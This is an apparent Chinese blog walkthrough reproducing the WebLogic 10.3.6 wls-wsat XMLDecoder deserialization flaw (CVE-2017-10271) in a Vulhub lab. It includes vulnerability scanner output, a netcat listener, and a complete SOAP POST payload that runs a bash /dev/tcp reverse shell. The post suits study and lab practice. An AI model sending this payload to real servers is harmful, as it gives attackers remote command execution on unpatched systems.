• 【漏洞复现】weblogic-10.3.6-‘wls-wsat‘-XMLDecoder反序列化(CVE-2017-10271)


    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

    说明内容
    漏洞编号CVE-2017-10271
    漏洞名称Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)
    漏洞评级高危
    影响范围10.3.6
    漏洞描述Weblogic的WLS Security组件对外提供webservice服务
    其中使用了XMLDecoder来解析用户传入的XML数据
    在解析的过程中出现反序列化漏洞,导致可执行任意命令
    修复方案打补丁
    上设备
    升级组件

    1.1、漏洞描述

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

    Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令

    1.2、漏洞等级

    高危

    1.3、影响版本

    10.3.6

    1.4、漏洞复现

    1、基础环境

    Path:Vulhub/weblogic/CVE-2017-10271

    启动测试环境:

    sudo docker-compose up -d
    
    • 1

    等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。

    Weblogic的登陆地址是your-ip:7001/console

    在这里插入图片描述

    2、漏洞扫描
    nacs

    查看帮助信息

    ./nacs -h 
    
    • 1

    在这里插入图片描述

    ┌──(kali㉿kali)-[~/tools/nacs/0.0.3]
    └─$ sudo ./nacs -h 192.168.80.141 -pa 7001
     _  _     ___     ___     ___   
    | \| |   /   \   / __|   / __|  
    | .  |   | - |  | (__    \__ \
    |_|\_|   |_|_|   \___|   |___/  
                 Version: 0.0.3
    [05:55:53] [INFO] Start to probe alive machines
    [05:55:53] [*] Target 192.168.80.141 is alive
    [05:55:53] [INFO] There are total of 1 hosts, and 1 are surviving
    [05:55:53] [WARNING] Too few surviving hosts
    [05:55:53] [INFO] Start to discover the ports
    [05:55:53] [*] [TCP/SSH] ssh://192.168.80.141:22 [SSH-2.0-OpenSSH_9.2p1\x20Debian-2]
    [05:55:59] [*] [TCP/HTTP] [404] [JSP] [Servlet] [Weblogic] http://192.168.80.141:7001 [None]
    [05:55:59] [INFO] A total of 2 targets, the rule base hits 2 targets
    [05:55:59] [INFO] Start to send pocs to web services (xray type)
    [05:55:59] [INFO] Load 397 xray poc(s) 
    [05:56:01] [+] http://192.168.80.141:7001 poc-yaml-weblogic-cve-2019-2729-2 
    [05:56:02] [+] http://192.168.80.141:7001 poc-yaml-weblogic-cve-2019-2725 v10
    [05:56:12] [+] http://192.168.80.141:7001 poc-yaml-weblogic-cve-2017-10271 reverse
    [05:57:01] [INFO] Start to process nonweb services
    [05:57:01] [INFO] [protocol] ssh 192.168.80.141
    [05:59:29] [INFO] Task finish, consumption of time: 3m35.385936144s                                                                      
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    weblogicScanner

    项目地址:https://github.com/0xn0ne/weblogicScanner

    ┌──(kali㉿kali)-[~/tools/weblogic/weblogicScanner]
    └─$ python ws.py -t 192.168.80.141                                     
    [06:02:31][INFO] [-][CVE-2018-2894][192.168.80.141:7001] Not found.
    [06:02:33][INFO] [+][CVE-2017-10271][192.168.80.141:7001] Exists vulnerability!
    [06:02:33][INFO] [+][CVE-2014-4210][192.168.80.141:7001] Found module, Please verify manually!
    [06:02:38][INFO] [-][CVE-2019-2890][192.168.80.141:7001] Not vulnerability.
    [06:02:39][INFO] [-][CVE-2016-0638][192.168.80.141:7001] Not vulnerability.
    [06:02:39][INFO] [!][CVE-2018-3245][192.168.80.141:7001] Connection error.
    [06:02:39][INFO] [-][CVE-2018-3245][192.168.80.141:7001] Not vulnerability.
    [06:02:40][INFO] [-][CVE-2018-3191][192.168.80.141:7001] Not vulnerability.
    [06:02:40][INFO] [-][CVE-2020-2883][192.168.80.141:7001] Not vulnerability.
    [06:02:40][INFO] [-][CVE-2020-2555][192.168.80.141:7001] Not vulnerability.
    [06:02:42][INFO] [+][CVE-2020-2551][192.168.80.141:7001] Found module, Please verify manually!
    [06:02:42][INFO] [+][CVE-2019-2618][192.168.80.141:7001] Found module, Please verify manually!
    [06:02:43][INFO] [+][CVE-2019-2725][192.168.80.141:7001] Exists vulnerability!
    [06:02:43][INFO] [+][CVE-2018-3252][192.168.80.141:7001] Found module, Please verify manually!
    [06:02:43][INFO] [+][CVE-2020-14750][192.168.80.141:7001] Exists vulnerability!
    [06:02:43][INFO] [+][CVE-2019-2888][192.168.80.141:7001] Found module, Please verify manually!
    [06:02:44][INFO] [!][CVE-2020-14882][192.168.80.141:7001] Connection error.
    [06:02:44][INFO] [-][CVE-2020-14882][192.168.80.141:7001] Not vulnerability.
    [06:02:44][INFO] [+][CVE-2019-2729][192.168.80.141:7001] Exists vulnerability!
    [06:02:45][INFO] [+][CVE-2018-2893][192.168.80.141:7001] Exists vulnerability!
    [06:02:45][INFO] [+][CVE-2017-3506][192.168.80.141:7001] Exists vulnerability!
    [06:02:46][INFO] [+][CVE-2016-3510][192.168.80.141:7001] Exists vulnerability!
    [06:02:47][INFO] [+][CVE-2017-3248][192.168.80.141:7001] Exists vulnerability!
    [06:02:48][INFO] [-][CVE-2018-2628][192.168.80.141:7001] Not vulnerability.
    [06:02:52][INFO] [-][Weblogic Console][192.168.80.141:7001] Not found.
    [06:02:52][INFO] [-][CVE-2020-14883][192.168.80.141:7001] Not vulnerability.
    Run completed, 27 seconds total.
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    3、漏洞验证

    访问/wls-wsat/CoordinatorPortType页面

    在这里插入图片描述

    改变请求方式为post

    在这里插入图片描述

    kali监听21端口

    nc -lvp 21
    
    • 1

    发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.80.141:7001
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: ADMINCONSOLESESSION=vq4hk23V21rs9yG5nGTvYkGppFGmFrvzzM2tvtw2pSnKQCsjPmvt!-1799840789
    Connection: close
    Content-Type: text/xml
    Content-Length: 641
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bashstring>
    void>
    <void index="1">
    <string>-cstring>
    void>
    <void index="2">
    <string>bash -i >& /dev/tcp/192.168.80.141/21 0>&1string>
    void>
    array>
    <void method="start"/>void>
    java>
    work:WorkContext>
    soapenv:Header>
    <soapenv:Body/>
    soapenv:Envelope>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    成功获取shell

    在这里插入图片描述

  • 相关阅读:
    创新战略|工业企业如何应对颠覆式变革带来的挑战?
    安卓设备文件传输助手 MacDroid pro for mac中文
    数值的扩展方法以及新增数据类型BigInt
    2022国产8K摄像机介绍
    【虚幻引擎UE】UE5 简单实现范围计算圆圈绘制
    JVM 虚拟机
    LeetCode-617. Merge Two Binary Trees [C++][Java]
    ICS计算系统概论实验3—LC3汇编代码实现最长重复子字符串Longest-duplicate-substring
    pgsl基于docker的安装
    C++笔记
  • 原文地址:https://blog.csdn.net/ZhaoSong_/article/details/134229551